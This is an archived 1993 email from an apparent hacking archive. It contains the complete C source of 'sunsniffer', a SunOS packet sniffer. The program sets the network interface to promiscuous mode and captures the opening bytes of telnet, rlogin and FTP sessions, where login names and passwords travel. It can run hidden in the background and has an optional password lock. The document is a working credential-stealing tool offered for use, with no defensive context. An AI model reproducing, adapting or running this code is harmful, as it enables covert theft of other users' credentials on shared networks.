home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / sunsniffer.c < prev    next >
Internet Message Format  |  1997-02-10  |  13KB

  1. From @rundart.demon.co.uk:cliff@demon.co.uk Wed Nov  3 07:21:05 1993
  2. Return-Path: <@rundart.demon.co.uk:cliff@demon.co.uk>
  3. Received: from post.demon.co.uk by hel.demon.co.uk (4.1/SMI-4.1)
  4.     id AB12899; Wed, 3 Nov 93 07:21:01 GMT
  5. Received: from rundart.demon.co.uk by post.demon.co.uk id ab18390;
  6.           3 Nov 93 7:18 GMT
  7. Received: from demon.demon.co.uk by rundart.demon.co.uk with SMTP
  8.     id AA5565 ; Wed, 03 Nov 93 07:18:54 GMT
  9. Received: from netsys1.netsys.com by demon.demon.co.uk id aa03354;
  10.           1 Nov 93 20:44 GMT
  11. Received: by NETSYS.COM (4.1/NETSYS-1.2)  id AA00382; Mon, 1 Nov 93 12:45:27 PST
  12. Date: Mon, 1 Nov 93 12:45:27 PST
  13. From: Len Rose <len@netsys.com>
  14. Message-Id: <9311012045.AA00382@NETSYS.COM>
  15. To: cliff@demon.co.uk
  16. Subject: sunsniffer.c
  17. Sender: cliff@netsys.com
  18. Status: RO
  19.  
  20.  
  21. #include <stdio.h>
  22. #include <ctype.h>
  23. #include <string.h>
  24.  
  25. #include <sys/time.h>
  26. #include <sys/file.h>
  27. #include <sys/stropts.h>
  28. #include <sys/signal.h>
  29. #include <sys/types.h>
  30. #include <sys/socket.h>
  31. #include <sys/ioctl.h>
  32.  
  33. #include <net/if.h>
  34. #include <net/nit_if.h>
  35. #include <net/nit_buf.h>
  36. #include <net/if_arp.h>
  37.  
  38. #include <netinet/in.h>
  39. #include <netinet/if_ether.h>
  40. #include <netinet/in_systm.h>
  41. #include <netinet/ip.h>
  42. #include <netinet/udp.h>
  43. #include <netinet/ip_var.h>
  44. #include <netinet/udp_var.h>
  45. #include <netinet/in_systm.h>
  46. #include <netinet/tcp.h>
  47. #include <netinet/ip_icmp.h>
  48.  
  49. #include <netdb.h>
  50. #include <arpa/inet.h>
  51.  
  52. #define ERR stderr
  53.  
  54. char    *malloc();
  55. char    *device,
  56.         *ProgName,
  57.         *LogName;
  58. FILE    *LOG;
  59. int     debug=0;
  60.  
  61. #define NIT_DEV     "/dev/nit"
  62. #define CHUNKSIZE   4096        /* device buffer size */
  63. int     if_fd = -1;
  64. int     Packet[CHUNKSIZE+32];
  65.  
  66. void Pexit(err,msg)
  67. int err; char *msg;
  68. { perror(msg);
  69.   exit(err); }
  70.  
  71. void Zexit(err,msg)
  72. int err; char *msg;
  73. { fprintf(ERR,msg);
  74.   exit(err); }
  75.  
  76. #define IP          ((struct ip *)Packet)
  77. #define IP_OFFSET   (0x1FFF)
  78. #define SZETH       (sizeof(struct ether_header))
  79. #define IPLEN       (ntohs(ip->ip_len))
  80. #define IPHLEN      (ip->ip_hl)
  81. #define TCPOFF      (tcph->th_off)
  82. #define IPS         (ip->ip_src)
  83. #define IPD         (ip->ip_dst)
  84. #define TCPS        (tcph->th_sport)
  85. #define TCPD        (tcph->th_dport)
  86. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  87.  
  88. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  89.  
  90. #define MAXBUFLEN  (128)
  91. time_t  LastTIME = 0;
  92.  
  93. struct CREC {
  94.      struct CREC *Next,
  95.                  *Last;
  96.      time_t  Time;              /* start time */
  97.      struct in_addr SRCip,
  98.                     DSTip;
  99.      u_int   SRCport,           /* src/dst ports */
  100.              DSTport;
  101.      u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  102.      u_int   Length;            /* current data length */
  103.      u_int   PKcnt;             /* # pkts */
  104.      u_long  LASTseq;
  105. };
  106.  
  107. struct CREC *CLroot = NULL;
  108.  
  109. char *Symaddr(ip)
  110. register struct in_addr ip;
  111. { register struct hostent *he =
  112.       gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  113.  
  114.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  115. }
  116.  
  117. char *TCPflags(flgs)
  118. register u_char flgs;
  119. { static char iobuf[8];
  120. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  121.  
  122.   SFL(0,TH_FIN, 'F');
  123.   SFL(1,TH_SYN, 'S');
  124.   SFL(2,TH_RST, 'R');
  125.   SFL(3,TH_PUSH,'P');
  126.   SFL(4,TH_ACK, 'A');
  127.   SFL(5,TH_URG, 'U');
  128.   iobuf[6]=0;
  129.   return(iobuf);
  130. }
  131.  
  132. char *SERVp(port)
  133. register u_int port;
  134. { static char buf[10];
  135.   register char *p;
  136.  
  137.    switch(port) {
  138.      case IPPORT_LOGINSERVER: p="rlogin"; break;
  139.      case IPPORT_TELNET:      p="telnet"; break;
  140.      case IPPORT_SMTP:        p="smtp"; break;
  141.      case IPPORT_FTP:         p="ftp"; break;
  142.      default: sprintf(buf,"%u",port); p=buf; break;
  143.    }
  144.    return(p);
  145. }
  146.  
  147. char *Ptm(t)
  148. register time_t *t;
  149. { register char *p = ctime(t);
  150.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  151.   return(p);
  152. }
  153.  
  154. char *NOWtm()
  155. { time_t tm;
  156.   time(&tm);
  157.   return( Ptm(&tm) );
  158. }
  159.  
  160. #define MAX(a,b) (((a)>(b))?(a):(b))
  161. #define MIN(a,b) (((a)<(b))?(a):(b))
  162.  
  163. /* add an item */
  164. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  165.   register struct CREC *CLtmp = \
  166.         (struct CREC *)malloc(sizeof(struct CREC)); \
  167.   time( &(CLtmp->Time) ); \
  168.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  169.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  170.   CLtmp->SRCport = SPORT; \
  171.   CLtmp->DSTport = DPORT; \
  172.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  173.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  174.   CLtmp->PKcnt = 1; \
  175.   CLtmp->Next = CLroot; \
  176.   CLtmp->Last = NULL; \
  177.   CLroot = CLtmp; \
  178. }
  179.  
  180. register struct CREC *GET_NODE(Sip,SP,Dip,DP)
  181. register struct in_addr Sip,Dip;
  182. register u_int SP,DP;
  183. { register struct CREC *CLr = CLroot;
  184.  
  185.   while(CLr != NULL) {
  186.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  187.         IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  188.             break;
  189.     CLr = CLr->Next;
  190.   }
  191.   return(CLr);
  192. }
  193.              
  194. #define ADDDATA_NODE(CL,DATA,LEN) { \
  195.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  196.  CL->Length += LEN; \
  197. }
  198.  
  199. #define PR_DATA(dp,ln) {    \
  200.   register u_char lastc=0; \
  201.   while(ln-- >0) { \
  202.      if(*dp < 32) {  \
  203.         switch(*dp) { \
  204.             case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
  205.                         break; \
  206.             case '\r': \
  207.             case '\n': fprintf(LOG,"\n     : "); \
  208.                         break; \
  209.             default  : fprintf(LOG,"^%c", (*dp + 64)); \
  210.                         break; \
  211.         } \
  212.      } else { \
  213.         if(isprint(*dp)) fputc(*dp,LOG); \
  214.         else fprintf(LOG,"(%d)",*dp); \
  215.      } \
  216.      lastc = *dp++; \
  217.   } \
  218.   fflush(LOG); \
  219. }
  220.  
  221. void END_NODE(CLe,d,dl,msg)
  222. register struct CREC *CLe;
  223. register u_char *d;
  224. register int dl;
  225. register char *msg;
  226. {
  227.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  228.    fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  229.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  230.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  231.                         NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  232.    fprintf(LOG," DATA: ");
  233.     { register u_int i = CLe->Length;
  234.       register u_char *p = CLe->Data;
  235.       PR_DATA(p,i);
  236.       PR_DATA(d,dl);
  237.     }
  238.  
  239.    fprintf(LOG,"\n-- \n");
  240.    fflush(LOG);
  241.  
  242.    if(CLe->Next != NULL)
  243.     CLe->Next->Last = CLe->Last;
  244.    if(CLe->Last != NULL)
  245.     CLe->Last->Next = CLe->Next;
  246.    else
  247.     CLroot = CLe->Next;
  248.    free(CLe);
  249. }
  250.  
  251. /* 30 mins (x 60 seconds) */
  252. #define IDLE_TIMEOUT 1800
  253. #define IDLE_NODE() { \
  254.   time_t tm; \
  255.   time(&tm); \
  256.   if(LastTIME<tm) { \
  257.      register struct CREC *CLe,*CLt = CLroot; \
  258.      LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
  259.      while(CLe=CLt) { \
  260.        CLt=CLe->Next; \
  261.        if(CLe->Time <tm) \
  262.            END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
  263.      } \
  264.   } \
  265. }
  266.  
  267. void filter(cp, pktlen)
  268. register char *cp;
  269. register u_int pktlen;
  270. {
  271.  register struct ip     *ip;
  272.  register struct tcphdr *tcph;
  273.  
  274.  { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
  275.  
  276.    if(EtherType < 0x600) {
  277.      EtherType = *(u_short *)(cp + SZETH + 6);
  278.      cp+=8; pktlen-=8;
  279.    }
  280.  
  281.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  282.       return;
  283.  }
  284.  
  285.     /* ugh, gotta do an alignment :-( */
  286.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  287.  
  288.  ip = (struct ip *)Packet;
  289.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  290.     return;
  291.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  292.  
  293.  if(!( (TCPD == IPPORT_TELNET) ||
  294.        (TCPD == IPPORT_LOGINSERVER) ||
  295.        (TCPD == IPPORT_FTP)
  296.    )) return;
  297.  
  298.  { register struct CREC *CLm;
  299.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  300.    register u_char *p = (u_char *)Packet;
  301.  
  302.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  303.  
  304.  if(debug) {
  305.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  306.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  307.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  308.  }
  309.  
  310.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  311.  
  312.       CLm->PKcnt++;
  313.  
  314.       if(length>0)
  315.         if( (CLm->Length + length) < MAXBUFLEN ) {
  316.           ADDDATA_NODE( CLm, p,length);
  317.         } else {
  318.           END_NODE( CLm, p,length, "DATA LIMIT");
  319.         }
  320.  
  321.       if(TCPFL(TH_FIN|TH_RST)) {
  322.           END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  323.       }
  324.  
  325.    } else {
  326.  
  327.       if(TCPFL(TH_SYN)) {
  328.          ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  329.       }
  330.  
  331.    }
  332.  
  333.    IDLE_NODE();
  334.  
  335.  }
  336.  
  337. }
  338.  
  339. /* signal handler
  340.  */
  341. void death()
  342. { register struct CREC *CLe;
  343.  
  344.     while(CLe=CLroot)
  345.         END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  346.  
  347.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  348.     fflush(LOG);
  349.     if(LOG != stdout)
  350.         fclose(LOG);
  351.     exit(1);
  352. }
  353.  
  354. /* opens network interface, performs ioctls and reads from it,
  355.  * passing data to filter function
  356.  */
  357. void do_it()
  358. {
  359.     int cc;
  360.     char *buf;
  361.     u_short sp_ts_len;
  362.  
  363.     if(!(buf=malloc(CHUNKSIZE)))
  364.         Pexit(1,"Eth: malloc");
  365.  
  366. /* this /dev/nit initialization code pinched from etherfind */
  367.   {
  368.     struct strioctl si;
  369.     struct ifreq    ifr;
  370.     struct timeval  timeout;
  371.     u_int  chunksize = CHUNKSIZE;
  372.     u_long if_flags  = NI_PROMISC;
  373.  
  374.     if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  375.         Pexit(1,"Eth: nit open");
  376.  
  377.     if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
  378.         Pexit(1,"Eth: ioctl (I_SRDOPT)");
  379.  
  380.     si.ic_timout = INFTIM;
  381.  
  382.     if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
  383.         Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
  384.  
  385.     timeout.tv_sec = 1;
  386.     timeout.tv_usec = 0;
  387.     si.ic_cmd = NIOCSTIME;
  388.     si.ic_len = sizeof(timeout);
  389.     si.ic_dp  = (char *)&timeout;
  390.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  391.         Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
  392.  
  393.     si.ic_cmd = NIOCSCHUNK;
  394.     si.ic_len = sizeof(chunksize);
  395.     si.ic_dp  = (char *)&chunksize;
  396.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  397.         Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
  398.  
  399.     strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
  400.     ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
  401.     si.ic_cmd = NIOCBIND;
  402.     si.ic_len = sizeof(ifr);
  403.     si.ic_dp  = (char *)𝔦
  404.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  405.         Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
  406.  
  407.     si.ic_cmd = NIOCSFLAGS;
  408.     si.ic_len = sizeof(if_flags);
  409.     si.ic_dp  = (char *)&if_flags;
  410.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  411.         Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
  412.  
  413.     if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
  414.         Pexit(1,"Eth: ioctl (I_FLUSH)");
  415.   }
  416.  
  417.     while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  418.         register char *bp = buf,
  419.                       *bufstop = (buf + cc);
  420.  
  421.         while (bp < bufstop) {
  422.             register char *cp = bp;
  423.             register struct nit_bufhdr *hdrp;
  424.  
  425.             hdrp = (struct nit_bufhdr *)cp;
  426.             cp += sizeof(struct nit_bufhdr);
  427.             bp += hdrp->nhb_totlen;
  428.             filter(cp, (u_long)hdrp->nhb_msglen);
  429.         }
  430.     }
  431.     Pexit((-1),"Eth: read");
  432. }
  433.  /* Yo Authorize your proogie,generate your own password and uncomment here */ 
  434. /* #define AUTHPASSWD "EloiZgZejWyms"  
  435.  
  436. void getauth()
  437. { char *buf,*getpass(),*crypt();
  438.   char pwd[21],prmpt[81];
  439.  
  440.     strcpy(pwd,AUTHPASSWD);
  441.     sprintf(prmpt,"(%s)UP? ",ProgName);
  442.     buf=getpass(prmpt);
  443.     if(strcmp(pwd,crypt(buf,pwd)))
  444.         exit(1);
  445. }
  446.     */  
  447. void main(argc, argv)
  448. int argc;
  449. char **argv;
  450. {
  451.     char   cbuf[BUFSIZ];
  452.     struct ifconf ifc;
  453.     int    s,
  454.            ac=1,
  455.            backg=0;
  456.  
  457.     ProgName=argv[0];
  458.  
  459.  /*     getauth(); */
  460.  
  461.     LOG=NULL;
  462.     device=NULL;
  463.     while((ac<argc) && (argv[ac][0] == '-')) {
  464.        register char ch = argv[ac++][1];
  465.        switch(toupper(ch)) {
  466.             case 'I': device=argv[ac++];
  467.                       break;
  468.             case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
  469.                          Zexit(1,"Output file cant be opened\n");
  470.                       break;
  471.             case 'B': backg=1;
  472.                       break;
  473.             case 'D': debug=1;
  474.                       break;
  475.             default : fprintf(ERR,
  476.                         "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
  477.                             ProgName);
  478.                       exit(1);
  479.        }
  480.     }
  481.  
  482.     if(!device) {
  483.         if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  484.             Pexit(1,"Eth: socket");
  485.  
  486.         ifc.ifc_len = sizeof(cbuf);
  487.         ifc.ifc_buf = cbuf;
  488.         if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
  489.             Pexit(1,"Eth: ioctl");
  490.  
  491.         close(s);
  492.         device = ifc.ifc_req->ifr_name;
  493.     }
  494.  
  495.     fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  496.     fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
  497.             (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
  498.  
  499.     if(!LOG)
  500.         LOG=stdout;
  501.  
  502.     signal(SIGINT, death);
  503.     signal(SIGTERM,death);
  504.     signal(SIGKILL,death);
  505.     signal(SIGQUIT,death);
  506.  
  507.     if(backg && debug) {
  508.          fprintf(ERR,"[Cannot bg with debug on]\n");
  509.          backg=0;
  510.     }
  511.  
  512.     if(backg) {
  513.         register int s;
  514.  
  515.         if((s=fork())>0) {
  516.            fprintf(ERR,"[pid %d]\n",s);
  517.            exit(0);
  518.         } else if(s<0)
  519.            Pexit(1,"fork");
  520.  
  521.         if( (s=open("/dev/tty",O_RDWR))>0 ) {
  522.                 ioctl(s,TIOCNOTTY,(char *)NULL);
  523.                 close(s);
  524.         }     
  525.     }
  526.     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  527.     fflush(LOG);
  528.  
  529.     do_it();
  530. }
  531.  
  532.  
  533.  
  534.